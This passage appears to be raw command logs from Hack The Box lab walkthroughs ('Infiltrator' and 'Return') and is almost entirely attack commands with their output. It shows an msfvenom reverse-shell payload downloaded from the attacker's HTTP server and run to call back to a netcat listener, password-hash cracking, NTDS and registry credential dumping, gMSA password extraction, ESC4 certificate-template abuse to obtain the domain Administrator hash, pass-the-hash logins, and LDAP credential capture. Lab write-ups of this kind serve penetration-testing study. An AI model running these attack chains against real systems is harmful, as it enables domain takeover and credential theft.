-a---- 2/25/2024 7:20 AM 29696 OM.db3
-a---- 2/25/2024 7:20 AM 13312 OT.db3
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OM.db3
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OM.db3 to OM.db3
Info: Download successful!
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OT.db3
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OT.db3 to OT.db3
Info: Download successful!
❯ ls -l OM.db3
.rwxrwxr-x kali kali 31 KB Fri Jan 17 23:58:16 2025 OM.db3
❯ sqlite3 OM.db3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
om_chatroom om_drive_files om_preset_message
om_chatroom_user om_escape_message om_reminder
om_custom_group_new om_hide_usergroup om_settings
om_custom_group_user_new om_notes om_user_master
om_custom_status om_notes_user om_user_photo
sqlite> select * from om_chatroom;
1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||
sqlite>❯ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'm@rtinez@1996!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\O.martinez:m@rtinez@1996! KDC_ERR_PREAUTH_FAILED ❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=444 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...PS C:\temp> wget 192.168.249.128/reverse.exe -o reverse.exe
PS C:\temp> ls
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/18/2025 12:57 AM 28160 reverse.exe
PS C:\temp> .\reverse.exe❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [192.168.249.129] 53306
Microsoft Windows [Version 10.0.19045.5371]
(c) Microsoft Corporation. All rights reserved.
C:\temp>whoami
whoami
w10\gzzcoo
C:\temp>❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 53306
Microsoft Windows [Version 10.0.17763.6189]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
infiltrator\o.martinezPS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> ls
Directory C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/23/2024 4:10 AM 292244 network_capture_2024.pcapng
PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301>❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedPS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> copy 292244 network_capture_2024.pcapng \\10.10.16.5\smbFolder\292244 network_capture_2024.pcapng❯ ls -l
.rw-rw-r-- kali kali 205 KB Sat Jan 18 01:58:41 2025 BitLocker-backup.raw
.rwxr-xr-x kali kali 285 KB Sat Jan 18 01:49:49 2025 network_capture_2024.pcapng
❯ hexedit BitLocker-backup.raw❯ echo $((0x3A5))
933
❯ echo $((0x33554))
210260
❯ dd if=BitLocker-backup.raw of=BitLocker-backup.7z bs=1 skip=933 count=$((210260 - 933))
209327+0 records in
209327+0 records out
209327 bytes (209 kB, 204 KiB) copied, 0,608148 s, 344 kB/s
❯ file BitLocker-backup.7z
BitLocker-backup.7z: 7-zip archive data, version 0.4❯ 7z x BitLocker-backup.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)
Extracting archive: BitLocker-backup.7z
--
Path = BitLocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed)❯ 7z2john BitLocker-backup.7z > hash7z
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes❯ john --wordlist:/usr/share/wordlists/rockyou.txt hash7z
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 209048 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zipper (BitLocker-backup.7z)
1g 0:00:02:50 DONE (2025-01-18 02:15) 0.005869g/s 32.49p/s 32.49c/s 32.49C/s cuteaq..pinkprincess
Use the "--show" option to display all of the cracked passwords reliably
Session completed.❯ 7z x BitLocker-backup.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)
Extracting archive: BitLocker-backup.7z
--
Path = BitLocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed):
Everything is Ok
Folders: 1
Files: 1
Size: 792371
Compressed: 209327
❯ ls -l
drwxrwxr-x kali kali 4.0 KB Mon Feb 19 19:11:00 2024 BitLocker-backup❯ ls
'Microsoft account _ Clés de récupération BitLocker.html'
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'M@rtinez_P@ssw0rd!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\O.martinez:M@rtinez_P@ssw0rd! ❯ xfreerdp3 /u:O.martinez /p:'M@rtinez_P@ssw0rd!' /v:10.10.11.31 /dynamic-resolution❯ smbserver.py smbFolder $(pwd) -username 'O.martinez' -password 'M@rtinez_P@ssw0rd!' -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed❯ ls -l Backup_Credentials.7z
.rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024 Backup_Credentials.7z
❯ 7z x Backup_Credentials.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 2055137 bytes (2007 KiB)
Extracting archive: Backup_Credentials.7z
--
Path = Backup_Credentials.7z
Type = 7z
Physical Size = 2055137
Headers Size = 250
Method = LZMA2:24
Solid = +
Blocks = 1
Everything is Ok
Folders: 2
Files: 3
Size: 48513024
Compressed: 2055137
❯ ls -l
drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:32 2024 'Active Directory'
drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:34 2024 registry
.rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024 Backup_Credentials.7z
❯ tree
.
├── Active Directory
│ └── ntds.dit
├── Backup_Credentials.7z
└── registry
├── SECURITY
└── SYSTEM
3 directories, 4 files❯ secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xd7e7d8797c1ccd58d95e4fb25cb7bdd4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d27644ab3070f72ec264fcb413d75299
[*] Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:fe4767309896203c581b9fc3c5e23b00:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:454fcbc37690c6e4628ab649e8e285a5:::
infiltrator.htb\winrm_svc:1104:aad3b435b51404eeaad3b435b51404ee:84287cd16341b91eb93a58456b73e30f:::
infiltrator.htb\lan_managment:1105:aad3b435b51404eeaad3b435b51404ee:e8ade553d9b0cb1769f429d897c92931:::
infiltrator.htb\M.harris:1106:aad3b435b51404eeaad3b435b51404ee:fc236589c448c620417b15597a3d3ca7:::
infiltrator.htb\D.anderson:1107:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\L.clark:1108:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\O.martinez:1109:aad3b435b51404eeaad3b435b51404ee:eb86d7bcb30c8eac1bdcae5061e2dff4:::
infiltrator.htb\A.walker:1110:aad3b435b51404eeaad3b435b51404ee:46389d8dfdfcf0cbe262a71f576e574b:::
infiltrator.htb\K.turner:1111:aad3b435b51404eeaad3b435b51404ee:48bcd1cdc870c6285376a990c2604531:::
infiltrator.htb\E.rodriguez:1112:aad3b435b51404eeaad3b435b51404ee:b1918c2ce6a62f4eee11c51b6e2e965a:::❯ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '7bf62b9c45112ffdadb7b6b4b9299dd2'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\Administrator:7bf62b9c45112ffdadb7b6b4b9299dd2 STATUS_LOGON_FAILURE ❯ ntdsdotsqlite Active\ Directory/ntds.dit --system registry/SYSTEM -o ntds.db
100%|██████████████████████████████████████████████| 3823/3823 [00:00<00:00, 5123.30it/s]
❯ ls -l ntds.db
.rw-rw-r-- kali kali 136 KB Sat Jan 18 02:38:45 2025 ntds.db
❯ sqlitebrowser ntds.db❯ nxc smb dc01.infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\lan_managment:l@n_M@an!1331 ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331' get object 'infiltrator_svc$' --attr msDS-ManagedPassword
distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:3ec423661d68dbda6c94ff25ff4d726b
msDS-ManagedPassword.B64ENCODED: z+LzYks13ZzAJQxIZgFbQCYsOroomLTBLYJhZKhD+gD+4zAwiKZe+vu8YrR44x20SQ/ytOmb2+1cq/BV6HeCl6IW50MjiLLLBEJh8xOH8ttUJ6SNjZ8iTq2lcG38EdSSQZE/iEpiIcmKa+QAAzPvwKrKYzU+IUsQYzw9mvrRpVTad46hZ7UZBV7o9LRDNUzwkVvO+pd69ou5Ut+l4ugcjp95iRe1of4vZE2Sd3UR3vdb9RQwfYz9O22pGD7FCXIuAXdeQssQNIqgyZJa+FyEVl5cVSJHm3Z7ZJ1AmIOmhtj3SgyAtVh0iYokhQKDRtxzwU3Y6lg9fijgfb41XkVtiw==❯ nxc smb dc01.infiltrator.htb -u 'infiltrator_svc$' -H '3ec423661d68dbda6c94ff25ff4d726b'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\infiltrator_svc$:3ec423661d68dbda6c94ff25ff4d726b❯ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'infiltrator-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : infiltrator-DC01-CA
DNS Name : dc01.infiltrator.htb
Certificate Subject : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Certificate Serial Number : 724BCC4E21EA6681495514E0FD8A5149
Certificate Validity Start : 2023-12-08 01:42:38+00:00
Certificate Validity End : 2124-08-04 18:55:57+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : INFILTRATOR.HTB\Administrators
Access Rights
ManageCertificates : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
ManageCa : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
Enroll : INFILTRATOR.HTB\Authenticated Users
Certificate Templates
0
Template Name : Infiltrator_Template
Display Name : Infiltrator_Template
Certificate Authorities : infiltrator-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
PendAllRequests
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Smart Card Logon
Server Authentication
KDC Authentication
Client Authentication
Requires Manager Approval : True
Requires Key Archival : False
Authorized Signatures Required : 1
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Permissions
Object Control Permissions
Owner : INFILTRATOR.HTB\Local System
Full Control Principals : INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Owner Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Dacl Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Property Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
[!] Vulnerabilities
ESC4 : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions❯ certipy-ad template -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -template Infiltrator_Template -save-old -dc-ip 10.10.11.31
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'Infiltrator_Template' to 'Infiltrator_Template.json'
[*] Updating certificate template 'Infiltrator_Template'
[*] Successfully updated 'Infiltrator_Template'❯ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[*] Got CA configuration for 'infiltrator-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : infiltrator-DC01-CA
DNS Name : dc01.infiltrator.htb
Certificate Subject : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Certificate Serial Number : 724BCC4E21EA6681495514E0FD8A5149
Certificate Validity Start : 2023-12-08 01:42:38+00:00
Certificate Validity End : 2124-08-04 18:55:57+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : INFILTRATOR.HTB\Administrators
Access Rights
ManageCertificates : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
ManageCa : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
Enroll : INFILTRATOR.HTB\Authenticated Users
Certificate Templates
0
Template Name : Infiltrator_Template
Display Name : Infiltrator_Template
Certificate Authorities : infiltrator-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : ExportableKey
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 5 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Object Control Permissions
Owner : INFILTRATOR.HTB\Local System
Full Control Principals : INFILTRATOR.HTB\Authenticated Users
Write Owner Principals : INFILTRATOR.HTB\Authenticated Users
Write Dacl Principals : INFILTRATOR.HTB\Authenticated Users
Write Property Principals : INFILTRATOR.HTB\Authenticated Users
[!] Vulnerabilities
ESC1 : 'INFILTRATOR.HTB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template can be used for any purpose
ESC3 : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template has Certificate Request Agent EKU set
ESC4 : 'INFILTRATOR.HTB\\Authenticated Users' has dangerous permissions
❯ certipy-ad req -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -ca infiltrator-DC01-CA -template Infiltrator_Template -upn administrator -dc-ip 10.10.11.31
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
❯ certipy-ad auth -pfx administrator.pfx -username Administrator -domain infiltrator.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1❯ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\Administrator:1356f502d2764368302ff0369b1121a1 (Pwn3d!)❯ evil-winrm -i dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
d97142dec41*********************❯ KRB5CCNAME=administrator.ccache wmiexec.py infiltrator.htb/Administrator@dc01.infiltrator.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
infiltrator\administrator❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.108 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 16:03 CET
Nmap scan report for 10.10.11.108
Host is up (0.096s latency).
Not shown: 65456 closed tcp ports (reset), 54 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49679/tcp open unknown
49682/tcp open unknown
49699/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 39.71 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.108
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49679,49682,49699
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49679,49682,49699 10.10.11.108 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 16:05 CET
Nmap scan report for return.local (10.10.11.108)
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-24 15:23:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10|2012|2022|Vista|2016 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2019 (91%), Windows Server 2019 (90%), Microsoft Windows 10 1909 (88%), Microsoft Windows 10 1909 - 2004 (88%), Microsoft Windows 10 20H2 - 21H1 (88%), Microsoft Windows Server 2012 R2 (88%), Microsoft Windows Server 2022 (88%), Microsoft Windows Vista SP1 (87%), Microsoft Windows 10 1903 - 21H1 (86%), Microsoft Windows 10 20H2 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 21 hops
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 18m38s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-24T15:25:06
|_ start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ... 20
21 386.45 ms return.local (10.10.11.108)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.93 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nc -nlvp 389
listening on [any] 389 ...❯ nc -nlvp 389
listening on [any] 389 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.108] 58464
0*`%return\svc-printer�
1edFg43012!!❯ nxc smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.10.11.108 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
❯ evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> type ../Desktop/user.txt
7f9f0efb4b***********************Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================== =============================================
return\svc-printer S-1-5-21-3750359090-2939318659-876128439-1103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\SAM
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> ls
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/24/2025 7:41 AM 49152 SAM
-a---- 1/24/2025 7:42 AM 15937536 SYSTEM
